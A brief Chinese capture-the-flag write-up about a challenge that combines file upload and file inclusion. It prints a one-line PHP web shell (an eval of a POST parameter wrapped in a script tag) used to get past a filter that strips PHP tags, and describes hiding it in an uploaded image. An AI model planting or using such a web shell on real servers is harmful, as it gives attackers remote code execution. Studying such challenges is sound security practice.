页面很正常,url里面有一个file参数,看一下源码
有一个upload.php看一下
文件上传,题目是文件包含,就想到了前面做的的上传图片马,用文件包含连接,试一试
不知到哪里出问题了,看一下上传的内容
<?和?>被换成了_,那就试一试没有<>?的一句话,
<script language=php>eval($_POST['shell']);</script>
再做一个图片马上传
这题就是文件包含和文件上传的合作,感觉多做题,多想想,就会很自然的想到。但是一些细节还是要试。